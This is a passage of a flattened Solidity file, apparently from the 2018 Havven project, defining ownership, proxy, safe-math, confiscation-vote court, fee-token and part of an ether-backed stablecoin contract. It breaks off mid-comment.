/* ----------------------------------------------------------------- FILE HEADER ----------------------------------------------------------------- file: HavvenEscrow.sol version: 1.0 authors: Anton Jurisevic Dominic Romanowski Mike Spain date: 2018-02-28 checked: Mike Spain approved: Samuel Brooks repo: https://github.com/Havven/havven commit: 34e66009b98aa18976226c139270970d105045e3 ----------------------------------------------------------------- */ pragma solidity ^0.4.21; /* ----------------------------------------------------------------- CONTRACT DESCRIPTION ----------------------------------------------------------------- A contract with a limited setup period. Any function modified with the setup modifier will cease to work after the conclusion of the configurable-length post-construction setup period. ----------------------------------------------------------------- */ contract LimitedSetup { uint constructionTime; uint setupDuration; function LimitedSetup(uint _setupDuration) public { constructionTime = now; setupDuration = _setupDuration; } modifier setupFunction { require(now < constructionTime + setupDuration); _; } } /* ----------------------------------------------------------------- CONTRACT DESCRIPTION ----------------------------------------------------------------- An Owned contract, to be inherited by other contracts. Requires its owner to be explicitly set in the constructor. Provides an onlyOwner access modifier. To change owner, the current owner must nominate the next owner, who then has to accept the nomination. The nomination can be cancelled before it is accepted by the new owner by having the previous owner change the nomination (setting it to 0). ----------------------------------------------------------------- */ contract Owned { address public owner; address public nominatedOwner; function Owned(address _owner) public { owner = _owner; } function nominateOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { require(msg.sender == owner); _; } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } /* ----------------------------------------------------------------- CONTRACT DESCRIPTION ----------------------------------------------------------------- A proxy contract that, if it does not recognise the function being called on it, passes all value and call data to an underlying target contract. ----------------------------------------------------------------- */ contract Proxy is Owned { Proxyable target; function Proxy(Proxyable _target, address _owner) Owned(_owner) public { target = _target; emit TargetChanged(_target); } function _setTarget(address _target) external onlyOwner { require(_target != address(0)); target = Proxyable(_target); emit TargetChanged(_target); } function () public payable { target.setMessageSender(msg.sender); assembly { // Copy call data into free memory region. let free_ptr := mload(0x40) calldatacopy(free_ptr, 0, calldatasize) // Forward all gas, ether, and data to the target contract. let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0) returndatacopy(free_ptr, 0, returndatasize) // Revert if the call failed, otherwise return the result. if iszero(result) { revert(free_ptr, calldatasize) } return(free_ptr, returndatasize) } } event TargetChanged(address targetAddress); } /* ----------------------------------------------------------------- CONTRACT DESCRIPTION ----------------------------------------------------------------- This contract contains the Proxyable interface. Any contract the proxy wraps must implement this, in order for the proxy to be able to pass msg.sender into the underlying contract as the state parameter, messageSender. ----------------------------------------------------------------- */ contract Proxyable is Owned { // the proxy this contract exists behind. Proxy public proxy; // The caller of the proxy, passed through to this contract. // Note that every function using this member must apply the onlyProxy or // optionalProxy modifiers, otherwise their invocations can use stale values. address messageSender; function Proxyable(address _owner) Owned(_owner) public { } function setProxy(Proxy _proxy) external onlyOwner { proxy = _proxy; emit ProxyChanged(_proxy); } function setMessageSender(address sender) external onlyProxy { messageSender = sender; } modifier onlyProxy { require(Proxy(msg.sender) == proxy); _; } modifier onlyOwner_Proxy { require(messageSender == owner); _; } modifier optionalProxy { if (Proxy(msg.sender) != proxy) { messageSender = msg.sender; } _; } // Combine the optionalProxy and onlyOwner_Proxy modifiers. // This is slightly cheaper and safer, since there is an ordering requirement. modifier optionalProxy_onlyOwner { if (Proxy(msg.sender) != proxy) { messageSender = msg.sender; } require(messageSender == owner); _; } event ProxyChanged(address proxyAddress); } /* ----------------------------------------------------------------- CONTRACT DESCRIPTION ----------------------------------------------------------------- A fixed point decimal library that provides basic mathematical operations, and checks for unsafe arguments, for example that would lead to overflows. Exceptions are thrown whenever those unsafe operations occur. ----------------------------------------------------------------- */ contract SafeDecimalMath { // Number of decimal places in the representation. uint8 public constant decimals = 18; // The number representing 1.0. uint public constant UNIT = 10 ** uint(decimals); /* True iff adding x and y will not overflow. */ function addIsSafe(uint x, uint y) pure internal returns (bool) { return x + y >= y; } /* Return the result of adding x and y, throwing an exception in case of overflow. */ function safeAdd(uint x, uint y) pure internal returns (uint) { require(x + y >= y); return x + y; } /* True iff subtracting y from x will not overflow in the negative direction. */ function subIsSafe(uint x, uint y) pure internal returns (bool) { return y <= x; } /* Return the result of subtracting y from x, throwing an exception in case of overflow. */ function safeSub(uint x, uint y) pure internal returns (uint) { require(y <= x); return x - y; } /* True iff multiplying x and y would not overflow. */ function mulIsSafe(uint x, uint y) pure internal returns (bool) { if (x == 0) { return true; } return (x * y) / x == y; } /* Return the result of multiplying x and y, throwing an exception in case of overflow.*/ function safeMul(uint x, uint y) pure internal returns (uint) { if (x == 0) { return 0; } uint p = x * y; require(p / x == y); return p; } /* Return the result of multiplying x and y, interpreting the operands as fixed-point * demicimals. Throws an exception in case of overflow. A unit factor is divided out * after the product of x and y is evaluated, so that product must be less than 2**256. * * Incidentally, the internal division always rounds down: we could have rounded to the nearest integer, * but then we would be spending a significant fraction of a cent (of order a microether * at present gas prices) in order to save less than one part in 0.5 * 10^18 per operation, if the operands * contain small enough fractional components. It would also marginally diminish the * domain this function is defined upon. */ function safeMul_dec(uint x, uint y) pure internal returns (uint) { // Divide by UNIT to remove the extra factor introduced by the product. // UNIT be 0. return safeMul(x, y) / UNIT; } /* True iff the denominator of x/y is nonzero. */ function divIsSafe(uint x, uint y) pure internal returns (bool) { return y != 0; } /* Return the result of dividing x by y, throwing an exception if the divisor is zero. */ function safeDiv(uint x, uint y) pure internal returns (uint) { // Although a 0 denominator already throws an exception, // it is equivalent to a THROW operation, which consumes all gas. // A require statement emits REVERT instead, which remits remaining gas. require(y != 0); return x / y; } /* Return the result of dividing x by y, interpreting the operands as fixed point decimal numbers. * Throws an exception in case of overflow or zero divisor; x must be less than 2^256 / UNIT. * Internal rounding is downward: a similar caveat holds as with safeDecMul().*/ function safeDiv_dec(uint x, uint y) pure internal returns (uint) { // Reintroduce the UNIT factor that will be divided out by y. return safeDiv(safeMul(x, UNIT), y); } /* Convert an unsigned integer to a unsigned fixed-point decimal. * Throw an exception if the result would be out of range. */ function intToDec(uint i) pure internal returns (uint) { return safeMul(i, UNIT); } } /* ----------------------------------------------------------------- CONTRACT DESCRIPTION ----------------------------------------------------------------- This court provides the nomin contract with a confiscation facility, if enough havven owners vote to confiscate a target account's nomins. This is designed to provide a mechanism to respond to abusive contracts such as nomin wrappers, which would allow users to trade wrapped nomins without accruing fees on those transactions. In order to prevent tyranny, an account may only be frozen if users controlling at least 30% of the value of havvens participate, and a two thirds majority is attained in that vote. In order to prevent tyranny of the majority or mob justice, confiscation motions are only approved if the havven foundation approves the result. This latter requirement may be lifted in future versions. The foundation, or any user with a sufficient havven balance may bring a confiscation motion. A motion lasts for a default period of one week, with a further confirmation period in which the foundation approves the result. The latter period may conclude early upon the foundation's decision to either veto or approve the mooted confiscation motion. If the confirmation period elapses without the foundation making a decision, the motion fails. The weight of a havven holder's vote is determined by examining their average balance over the last completed fee period prior to the beginning of a given motion. Thus, since a fee period can roll over in the middle of a motion, we must also track a user's average balance of the last two periods. This system is designed such that it cannot be attacked by users transferring funds between themselves, while also not requiring them to lock their havvens for the duration of the vote. This is possible since any transfer that increases the average balance in one account will be reflected by an equivalent reduction in the voting weight in the other. At present a user may cast a vote only for one motion at a time, but may cancel their vote at any time except during the confirmation period, when the vote tallies must remain static until the matter has been settled. A motion to confiscate the balance of a given address composes a state machine built of the following states: Waiting: - A user with standing brings a motion: If the target address is not frozen; initialise vote tallies to 0; transition to the Voting state. - An account cancels a previous residual vote: remain in the Waiting state. Voting: - The foundation vetoes the in-progress motion: transition to the Waiting state. - The voting period elapses: transition to the Confirmation state. - An account votes (for or against the motion): its weight is added to the appropriate tally; remain in the Voting state. - An account cancels its previous vote: its weight is deducted from the appropriate tally (if any); remain in the Voting state. Confirmation: - The foundation vetoes the completed motion: transition to the Waiting state. - The foundation approves confiscation of the target account: freeze the target account, transfer its nomin balance to the fee pool; transition to the Waiting state. - The confirmation period elapses: transition to the Waiting state. User votes are not automatically cancelled upon the conclusion of a motion. Therefore, after a motion comes to a conclusion, if a user wishes to vote in another motion, they must manually cancel their vote in order to do so. This procedure is designed to be relatively simple. There are some things that can be added to enhance the functionality at the expense of simplicity and efficiency: - Democratic unfreezing of nomin accounts (induces multiple categories of vote) - Configurable per-vote durations; - Vote standing denominated in a fiat quantity rather than a quantity of havvens; - Confiscate from multiple addresses in a single vote; We might consider updating the contract with any of these features at a later date if necessary. ----------------------------------------------------------------- */ contract Court is Owned, SafeDecimalMath { /* ========== STATE VARIABLES ========== */ // The addresses of the token contracts this confiscation court interacts with. Havven public havven; EtherNomin public nomin; // The minimum havven balance required to be considered to have standing // to begin confiscation proceedings. uint public minStandingBalance = 100 * UNIT; // The voting period lasts for this duration, // and if set, must fall within the given bounds. uint public votingPeriod = 1 weeks; uint constant MIN_VOTING_PERIOD = 3 days; uint constant MAX_VOTING_PERIOD = 4 weeks; // Duration of the period during which the foundation may confirm // or veto a motion that has concluded. // If set, the confirmation duration must fall within the given bounds. uint public confirmationPeriod = 1 weeks; uint constant MIN_CONFIRMATION_PERIOD = 1 days; uint constant MAX_CONFIRMATION_PERIOD = 2 weeks; // No fewer than this fraction of havvens must participate in a motion // in order for a quorum to be reached. // The participation fraction required may be set no lower than 10%. uint public requiredParticipation = 3 * UNIT / 10; uint constant MIN_REQUIRED_PARTICIPATION = UNIT / 10; // At least this fraction of participating votes must be in favour of // confiscation for the motion to pass. // The required majority may be no lower than 50%. uint public requiredMajority = (2 * UNIT) / 3; uint constant MIN_REQUIRED_MAJORITY = UNIT / 2; // The next ID to use for opening a motion. uint nextMotionID = 1; // Mapping from motion IDs to target addresses. mapping(uint => address) public motionTarget; // The ID a motion on an address is currently operating at. // Zero if no such motion is running. mapping(address => uint) public targetMotionID; // The timestamp at which a motion began. This is used to determine // whether a motion is: running, in the confirmation period, // or has concluded. // A motion runs from its start time t until (t + votingPeriod), // and then the confirmation period terminates no later than // (t + votingPeriod + confirmationPeriod). mapping(uint => uint) public motionStartTime; // The tallies for and against confiscation of a given balance. // These are set to zero at the start of a motion, and also on conclusion, // just to keep the state clean. mapping(uint => uint) public votesFor; mapping(uint => uint) public votesAgainst; // The last/penultimate average balance of a user at the time they voted // in a particular motion. // If we did not save this information then we would have to // disallow transfers into an account lest it cancel a vote // with greater weight than that with which it originally voted, // and the fee period rolled over in between. mapping(address => mapping(uint => uint)) voteWeight; // The possible vote types. // Abstention: not participating in a motion; This is the default value. // Yea: voting in favour of a motion. // Nay: voting against a motion. enum Vote {Abstention, Yea, Nay} // A given account's vote in some confiscation motion. // This requires the default value of the Vote enum to correspond to an abstention. mapping(address => mapping(uint => Vote)) public vote; /* ========== CONSTRUCTOR ========== */ function Court(Havven _havven, EtherNomin _nomin, address _owner) Owned(_owner) public { havven = _havven; nomin = _nomin; } /* ========== SETTERS ========== */ function setMinStandingBalance(uint balance) external onlyOwner { // No requirement on the standing threshold here; // the foundation can set this value such that // anyone or no one can actually start a motion. minStandingBalance = balance; } function setVotingPeriod(uint duration) external onlyOwner { require(MIN_VOTING_PERIOD <= duration && duration <= MAX_VOTING_PERIOD); // Require that the voting period is no longer than a single fee period, // So that a single vote can span at most two fee periods. require(duration <= havven.targetFeePeriodDurationSeconds()); votingPeriod = duration; } function setConfirmationPeriod(uint duration) external onlyOwner { require(MIN_CONFIRMATION_PERIOD <= duration && duration <= MAX_CONFIRMATION_PERIOD); confirmationPeriod = duration; } function setRequiredParticipation(uint fraction) external onlyOwner { require(MIN_REQUIRED_PARTICIPATION <= fraction); requiredParticipation = fraction; } function setRequiredMajority(uint fraction) external onlyOwner { require(MIN_REQUIRED_MAJORITY <= fraction); requiredMajority = fraction; } /* ========== VIEW FUNCTIONS ========== */ /* There is a motion in progress on the specified * account, and votes are being accepted in that motion. */ function motionVoting(uint motionID) public view returns (bool) { // No need to check (startTime < now) as there is no way // to set future start times for votes. // These values are timestamps, they will not overflow // as they can only ever be initialised to relatively small values. return now < motionStartTime[motionID] + votingPeriod; } /* A vote on the target account has concluded, but the motion * has not yet been approved, vetoed, or closed. */ function motionConfirming(uint motionID) public view returns (bool) { // These values are timestamps, they will not overflow // as they can only ever be initialised to relatively small values. uint startTime = motionStartTime[motionID]; return startTime + votingPeriod <= now && now < startTime + votingPeriod + confirmationPeriod; } /* A vote motion either not begun, or it has completely terminated. */ function motionWaiting(uint motionID) public view returns (bool) { // These values are timestamps, they will not overflow // as they can only ever be initialised to relatively small values. return motionStartTime[motionID] + votingPeriod + confirmationPeriod <= now; } /* If the motion was to terminate at this instant, it would pass. * That is: there was sufficient participation and a sizeable enough majority. */ function motionPasses(uint motionID) public view returns (bool) { uint yeas = votesFor[motionID]; uint nays = votesAgainst[motionID]; uint totalVotes = safeAdd(yeas, nays); if (totalVotes == 0) { return false; } uint participation = safeDiv_dec(totalVotes, havven.totalSupply()); uint fractionInFavour = safeDiv_dec(yeas, totalVotes); // We require the result to be strictly greater than the requirement // to enforce a majority being "50% + 1", and so on. return participation > requiredParticipation && fractionInFavour > requiredMajority; } function hasVoted(address account, uint motionID) public view returns (bool) { return vote[account][motionID] != Vote.Abstention; } /* ========== MUTATIVE FUNCTIONS ========== */ /* Begin a motion to confiscate the funds in a given nomin account. * Only the foundation, or accounts with sufficient havven balances * may elect to start such a motion. * Returns the ID of the motion that was begun. */ function beginMotion(address target) external returns (uint) { // A confiscation motion must be mooted by someone with standing. require((havven.balanceOf(msg.sender) >= minStandingBalance) || msg.sender == owner); // Require that the voting period is longer than a single fee period, // So that a single vote can span at most two fee periods. require(votingPeriod <= havven.targetFeePeriodDurationSeconds()); // There must be no confiscation motion already running for this account. require(targetMotionID[target] == 0); // Disallow votes on accounts that have previously been frozen. require(!nomin.frozen(target)); uint motionID = nextMotionID++; motionTarget[motionID] = target; targetMotionID[target] = motionID; motionStartTime[motionID] = now; emit MotionBegun(msg.sender, msg.sender, target, target, motionID, motionID); return motionID; } /* Shared vote setup function between voteFor and voteAgainst. * Returns the voter's vote weight. */ function setupVote(uint motionID) internal returns (uint) { // There must be an active vote for this target running. // Vote totals must only change during the voting phase. require(motionVoting(motionID)); // The voter must not have an active vote this motion. require(!hasVoted(msg.sender, motionID)); // The voter may not cast votes on themselves. require(msg.sender != motionTarget[motionID]); // Ensure the voter's vote weight is current. havven.recomputeAccountLastAverageBalance(msg.sender); uint weight; // We use a fee period guaranteed to have terminated before // the start of the vote. Select the right period if // a fee period rolls over in the middle of the vote. if (motionStartTime[motionID] < havven.feePeriodStartTime()) { weight = havven.penultimateAverageBalance(msg.sender); } else { weight = havven.lastAverageBalance(msg.sender); } // Users must have a nonzero voting weight to vote. require(weight > 0); voteWeight[msg.sender][motionID] = weight; return weight; } /* The sender casts a vote in favour of confiscation of the * target account's nomin balance. */ function voteFor(uint motionID) external { uint weight = setupVote(motionID); vote[msg.sender][motionID] = Vote.Yea; votesFor[motionID] = safeAdd(votesFor[motionID], weight); emit VotedFor(msg.sender, msg.sender, motionID, motionID, weight); } /* The sender casts a vote against confiscation of the * target account's nomin balance. */ function voteAgainst(uint motionID) external { uint weight = setupVote(motionID); vote[msg.sender][motionID] = Vote.Nay; votesAgainst[motionID] = safeAdd(votesAgainst[motionID], weight); emit VotedAgainst(msg.sender, msg.sender, motionID, motionID, weight); } /* Cancel an existing vote by the sender on a motion * to confiscate the target balance. */ function cancelVote(uint motionID) external { // An account may cancel its vote either before the confirmation phase // when the motion is still open, or after the confirmation phase, // when the motion has concluded. // But the totals must not change during the confirmation phase itself. require(!motionConfirming(motionID)); Vote senderVote = vote[msg.sender][motionID]; // If the sender has not voted then there is no need to update anything. require(senderVote != Vote.Abstention); // If we are not voting, there is no reason to update the vote totals. if (motionVoting(motionID)) { if (senderVote == Vote.Yea) { votesFor[motionID] = safeSub(votesFor[motionID], voteWeight[msg.sender][motionID]); } else { // Since we already ensured that the vote is not an abstention, // the only option remaining is Vote.Nay. votesAgainst[motionID] = safeSub(votesAgainst[motionID], voteWeight[msg.sender][motionID]); } // A cancelled vote is only meaningful if a vote is running emit VoteCancelled(msg.sender, msg.sender, motionID, motionID); } delete voteWeight[msg.sender][motionID]; delete vote[msg.sender][motionID]; } function _closeMotion(uint motionID) internal { delete targetMotionID[motionTarget[motionID]]; delete motionTarget[motionID]; delete motionStartTime[motionID]; delete votesFor[motionID]; delete votesAgainst[motionID]; emit MotionClosed(motionID, motionID); } /* If a motion has concluded, or if it lasted its full duration but not passed, * then anyone may close it. */ function closeMotion(uint motionID) external { require((motionConfirming(motionID) && !motionPasses(motionID)) || motionWaiting(motionID)); _closeMotion(motionID); } /* The foundation may only confiscate a balance during the confirmation * period after a motion has passed. */ function approveMotion(uint motionID) external onlyOwner { require(motionConfirming(motionID) && motionPasses(motionID)); address target = motionTarget[motionID]; nomin.confiscateBalance(target); _closeMotion(motionID); emit MotionApproved(motionID, motionID); } /* The foundation may veto a motion at any time. */ function vetoMotion(uint motionID) external onlyOwner { require(!motionWaiting(motionID)); _closeMotion(motionID); emit MotionVetoed(motionID, motionID); } /* ========== EVENTS ========== */ event MotionBegun(address initiator, address indexed initiatorIndex, address target, address indexed targetIndex, uint motionID, uint indexed motionIDIndex); event VotedFor(address voter, address indexed voterIndex, uint motionID, uint indexed motionIDIndex, uint weight); event VotedAgainst(address voter, address indexed voterIndex, uint motionID, uint indexed motionIDIndex, uint weight); event VoteCancelled(address voter, address indexed voterIndex, uint motionID, uint indexed motionIDIndex); event MotionClosed(uint motionID, uint indexed motionIDIndex); event MotionVetoed(uint motionID, uint indexed motionIDIndex); event MotionApproved(uint motionID, uint indexed motionIDIndex); } /* ----------------------------------------------------------------- CONTRACT DESCRIPTION ----------------------------------------------------------------- A token which also has a configurable fee rate charged on its transfers. This is designed to be overridden in order to produce an ERC20-compliant token. These fees accrue into a pool, from which a nominated authority may withdraw. This contract utilises a state for upgradability purposes. It relies on being called underneath a proxy contract, as included in Proxy.sol. ----------------------------------------------------------------- */ contract ExternStateProxyFeeToken is Proxyable, SafeDecimalMath { /* ========== STATE VARIABLES ========== */ // Stores balances and allowances. TokenState public state; // Other ERC20 fields string public name; string public symbol; uint public totalSupply; // A percentage fee charged on each transfer. uint public transferFeeRate; // Fee may not exceed 10%. uint constant MAX_TRANSFER_FEE_RATE = UNIT / 10; // The address with the authority to distribute fees. address public feeAuthority; /* ========== CONSTRUCTOR ========== */ function ExternStateProxyFeeToken(string _name, string _symbol, uint _transferFeeRate, address _feeAuthority, TokenState _state, address _owner) Proxyable(_owner) public { if (_state == TokenState(0)) { state = new TokenState(_owner, address(this)); } else { state = _state; } name = _name; symbol = _symbol; transferFeeRate = _transferFeeRate; feeAuthority = _feeAuthority; } /* ========== SETTERS ========== */ function setTransferFeeRate(uint _transferFeeRate) external optionalProxy_onlyOwner { require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE); transferFeeRate = _transferFeeRate; emit TransferFeeRateUpdated(_transferFeeRate); } function setFeeAuthority(address _feeAuthority) external optionalProxy_onlyOwner { feeAuthority = _feeAuthority; emit FeeAuthorityUpdated(_feeAuthority); } function setState(TokenState _state) external optionalProxy_onlyOwner { state = _state; emit StateUpdated(_state); } /* ========== VIEWS ========== */ function balanceOf(address account) public view returns (uint) { return state.balanceOf(account); } function allowance(address from, address to) public view returns (uint) { return state.allowance(from, to); } // Return the fee charged on top in order to transfer _value worth of tokens. function transferFeeIncurred(uint value) public view returns (uint) { return safeMul_dec(value, transferFeeRate); // Transfers less than the reciprocal of transferFeeRate should be completely eaten up by fees. // This is on the basis that transfers less than this value will result in a nil fee. // Probably too insignificant to worry about, but the following code will achieve it. // if (fee == 0 && transferFeeRate != 0) { // return _value; // } // return fee; } // The value that you would need to send so that the recipient receives // a specified value. function transferPlusFee(uint value) external view returns (uint) { return safeAdd(value, transferFeeIncurred(value)); } // The quantity to send in order that the sender spends a certain value of tokens. function priceToSpend(uint value) external view returns (uint) { return safeDiv_dec(value, safeAdd(UNIT, transferFeeRate)); } // The balance of the nomin contract itself is the fee pool. // Collected fees sit here until they are distributed. function feePool() external view returns (uint) { return state.balanceOf(address(this)); } /* ========== MUTATIVE FUNCTIONS ========== */ /* Whatever calls this should have either the optionalProxy or onlyProxy modifier, * and pass in messageSender. */ function _transfer_byProxy(address sender, address to, uint value) internal returns (bool) { require(to != address(0)); // The fee is deducted from the sender's balance, in addition to // the transferred quantity. uint fee = transferFeeIncurred(value); uint totalCharge = safeAdd(value, fee); // Insufficient balance will be handled by the safe subtraction. state.setBalanceOf(sender, safeSub(state.balanceOf(sender), totalCharge)); state.setBalanceOf(to, safeAdd(state.balanceOf(to), value)); state.setBalanceOf(address(this), safeAdd(state.balanceOf(address(this)), fee)); emit Transfer(sender, to, value); emit TransferFeePaid(sender, fee); emit Transfer(sender, address(this), fee); return true; } /* Whatever calls this should have either the optionalProxy or onlyProxy modifier, * and pass in messageSender. */ function _transferFrom_byProxy(address sender, address from, address to, uint value) internal returns (bool) { require(to != address(0)); // The fee is deducted from the sender's balance, in addition to // the transferred quantity. uint fee = transferFeeIncurred(value); uint totalCharge = safeAdd(value, fee); // Insufficient balance will be handled by the safe subtraction. state.setBalanceOf(from, safeSub(state.balanceOf(from), totalCharge)); state.setAllowance(from, sender, safeSub(state.allowance(from, sender), totalCharge)); state.setBalanceOf(to, safeAdd(state.balanceOf(to), value)); state.setBalanceOf(address(this), safeAdd(state.balanceOf(address(this)), fee)); emit Transfer(from, to, value); emit TransferFeePaid(sender, fee); emit Transfer(from, address(this), fee); return true; } function approve(address spender, uint value) external optionalProxy returns (bool) { address sender = messageSender; state.setAllowance(sender, spender, value); emit Approval(sender, spender, value); return true; } /* Withdraw tokens from the fee pool into a given account. */ function withdrawFee(address account, uint value) external returns (bool) { require(msg.sender == feeAuthority && account != address(0)); // 0-value withdrawals do nothing. if (value == 0) { return false; } // Safe subtraction ensures an exception is thrown if the balance is insufficient. state.setBalanceOf(address(this), safeSub(state.balanceOf(address(this)), value)); state.setBalanceOf(account, safeAdd(state.balanceOf(account), value)); emit FeesWithdrawn(account, account, value); emit Transfer(address(this), account, value); return true; } /* Donate tokens from the sender's balance into the fee pool. */ function donateToFeePool(uint n) external optionalProxy returns (bool) { address sender = messageSender; // Empty donations are disallowed. uint balance = state.balanceOf(sender); require(balance != 0); // safeSub ensures the donor has sufficient balance. state.setBalanceOf(sender, safeSub(balance, n)); state.setBalanceOf(address(this), safeAdd(state.balanceOf(address(this)), n)); emit FeesDonated(sender, sender, n); emit Transfer(sender, address(this), n); return true; } /* ========== EVENTS ========== */ event Transfer(address indexed from, address indexed to, uint value); event TransferFeePaid(address indexed account, uint value); event Approval(address indexed owner, address indexed spender, uint value); event TransferFeeRateUpdated(uint newFeeRate); event FeeAuthorityUpdated(address feeAuthority); event StateUpdated(address newState); event FeesWithdrawn(address account, address indexed accountIndex, uint value); event FeesDonated(address donor, address indexed donorIndex, uint value); } /* ----------------------------------------------------------------- CONTRACT DESCRIPTION ----------------------------------------------------------------- Ether-backed nomin stablecoin contract. This contract issues nomins, which are tokens worth 1 USD each. They are backed by a pool of ether collateral, so that if a user has nomins, they may redeem them for ether from the pool, or if they want to obtain nomins, they may pay ether into the pool in order to do so. The supply of nomins that may be in circulation at any time is limited. The contract owner may increase this quantity, but only if they provide ether to back it. The backing the owner provides at issuance must keep each nomin at least twice overcollateralised. The owner may also destroy nomins in the pool, which is potential avenue by which to maintain healthy collateralisation levels, as it reduces supply without withdrawing ether collateral. A configurable fee is charged on nomin transfers and deposited into a common pot, which havven holders may withdraw from once per fee period. Ether price is continually updated by an external oracle, and the value of the backing is computed on this basis. To ensure the integrity of this system, if the contract's price has not been updated recently enough, it will temporarily disable itself until it receives more price information. The contract owner may at any time initiate contract liquidation. During the liquidation period, most contract functions will be deactivated. No new nomins may be issued or bought, but users may sell nomins back to the system. If the system's collateral falls below a specified level, then anyone may initiate liquidation. After the liquidation period has elapsed, which is initially 90 days, the owner may destroy the contract, transferring any remaining collateral to a nominated beneficiary address. This liquidation period may be extended up to a maximum of 180 days. If the contract is recollateralised, the owner may terminate liquidation. ----------------------------------------------------------------- */ contract EtherNomin is ExternStateProxyFeeToken { /* ========== STATE VARIABLES ========== */ // The oracle provides price information to this contract. // It may only call the updatePrice() function. address public oracle; // The address of the contract which manages confiscation votes. Court public court; // Foundation wallet for funds to go to post liquidation. address public beneficiary; // Nomins in the pool ready to be sold. uint public nominPool; // Impose a 50 basis-point fee for buying from and selling to the nomin pool. uint public poolFeeRate = UNIT / 200; // The minimum purchasable quantity of nomins is 1 cent. uint constant MINIMUM_PURCHASE = UNIT / 100; // When issuing, nomins must be overcollateralised by this ratio. uint constant MINIMUM_ISSUANCE_RATIO = 2 * UNIT; // If the collateralisation ratio of the contract falls below this level, // immediately begin liquidation. uint constant AUTO_LIQUIDATION_RATIO = UNIT; // The liquidation period is the duration that must pass before the liquidation period is complete. // It can be extended up to a given duration. uint constant DEFAULT_LIQUIDATION_PERIOD = 90 days; uint constant MAX_LIQUIDATION_PERIOD = 180 days; uint public liquidationPeriod = DEFAULT_LIQUIDATION_PERIOD; // The timestamp when liquidation was activated. We initialise this to // uint max, so that we know that we are under liquidation if the // liquidation timestamp is in the past. uint public liquidationTimestamp = ~uint(0); // Ether price from oracle (fiat per ether). uint public etherPrice; // Last time the price was updated. uint public lastPriceUpdate; // The period it takes for the price to be considered stale. // If the price is stale, functions that require the price are disabled. uint public stalePeriod = 2 days; // Accounts which have lost the privilege to transact in nomins. mapping(address => bool) public frozen; /* ========== CONSTRUCTOR ========== */ function EtherNomin(address _havven, address _oracle, address _beneficiary, uint initialEtherPrice, address _owner, TokenState initialState) ExternStateProxyFeeToken("Ether-Backed USD Nomins", "eUSD", 15 * UNIT / 10000, // nomin transfers incur a 15 bp fee _havven, // the havven contract is the fee authority initialState, _owner) public { oracle = _oracle; beneficiary = _beneficiary; etherPrice = initialEtherPrice; lastPriceUpdate = now; emit PriceUpdated(etherPrice); // It should not be possible to transfer to the nomin contract itself. frozen[this] = true; } /* ========== SETTERS ========== */ function setOracle(address _oracle) external optionalProxy_onlyOwner { oracle = _oracle; emit OracleUpdated(_oracle); } function setCourt(Court _court) external optionalProxy_onlyOwner { court = _court; emit CourtUpdated(_court); } function setBeneficiary(address _beneficiary) external optionalProxy_onlyOwner { beneficiary = _beneficiary; emit BeneficiaryUpdated(_beneficiary); } function setPoolFeeRate(uint _poolFeeRate) external optionalProxy_onlyOwner { require(_poolFeeRate <= UNIT); poolFeeRate = _poolFeeRate; emit PoolFeeRateUpdated(_poolFeeRate); } function setStalePeriod(uint _stalePeriod) external optionalProxy_onlyOwner { stalePeriod = _stalePeriod; emit StalePeriodUpdated(_stalePeriod); } /* ========== VIEW FUNCTIONS ========== */ /* Return the equivalent fiat value of the given quantity * of ether at the current price. * Reverts if the price is stale. */ function fiatValue(uint eth) public view priceNotStale returns (uint) { return safeMul_dec(eth, etherPrice); } /* Return the current fiat value of the contract's balance. * Reverts if the price is stale. */ function fiatBalance() public view returns (uint) { // Price staleness check occurs inside the call to fiatValue. return fiatValue(address(this).balance); } /* Return the equivalent ether value of the given quantity * of fiat at the current price. * Reverts if the price is stale. */ function etherValue(uint fiat) public view priceNotStale returns (uint) { return safeDiv_dec(fiat, etherPrice); } /* The same as etherValue(), but without the stale price check. */ function etherValueAllowStale(uint fiat) internal view returns (uint) { return safeDiv_dec(fiat, etherPrice); } /* Return the units of fiat per nomin in the supply. * Reverts if the price is stale. */ function collateralisationRatio() public view returns (uint) { return safeDiv_dec(fiatBalance(), _nominCap()); } /* Return the maximum number of extant nomins, * equal to the nomin pool plus total (circulating) supply. */ function _nominCap() internal view returns (uint) { return safeAdd(nominPool, totalSupply); } /* Return the fee charged on a purchase or sale of n nomins. */ function poolFeeIncurred(uint n) public view returns (uint) { return safeMul_dec(n, poolFeeRate); } /* Return the fiat cost (including fee) of purchasing n nomins. * Nomins are purchased for $1, plus the fee. */ function purchaseCostFiat(uint n) public view returns (uint) { return safeAdd(n, poolFeeIncurred(n)); } /* Return the ether cost (including fee) of purchasing n nomins. * Reverts if the price is stale. */ function purchaseCostEther(uint n) public view returns (uint) { // Price staleness check occurs inside the call to etherValue. return etherValue(purchaseCostFiat(n)); } /* Return the fiat proceeds (less the fee) of selling n nomins. * Nomins are sold for $1, minus the fee. */ function saleProceedsFiat(uint n) public view returns (uint) { return safeSub(n, poolFeeIncurred(n)); } /* Return the ether proceeds (less the fee) of selling n * nomins. * Reverts if the price is stale. */ function saleProceedsEther(uint n) public view returns (uint) { // Price staleness check occurs inside the call to etherValue. return etherValue(saleProceedsFiat(n)); } /* The same as saleProceedsEther(), but without the stale price check. */ function saleProceedsEtherAllowStale(uint n) internal view returns (uint) { return etherValueAllowStale(saleProceedsFiat(n)); } /* True iff the current block timestamp is later than the time * the price was last updated, plus the stale period. */ function priceIsStale() public view returns (bool) { return safeAdd(lastPriceUpdate, stalePeriod) < now; } function isLiquidating() public view returns (bool) { return liquidationTimestamp <= now; } /* True if the contract is self-destructible. * This is true if either the complete liquidation period has elapsed, * or if all tokens have been returned to the contract and it has been * in liquidation for at least a week. * Since the contract is only destructible after the liquidationTimestamp, * a fortiori canSelfDestruct() implies isLiquidating(). */ function canSelfDestruct() public view returns (bool) { // Not being in liquidation implies the timestamp is uint max, so it would roll over. // We need to check whether we're in liquidation first. if (isLiquidating()) { // These timestamps and durations have values clamped within reasonable values and // cannot overflow. bool totalPeriodElapsed = liquidationTimestamp + liquidationPeriod < now; // Total supply of 0 means all tokens have returned to the pool. bool allTokensReturned = (liquidationTimestamp + 1 weeks < now) && (totalSupply == 0); return totalPeriodElapsed || allTokensReturned; } return false; } /* 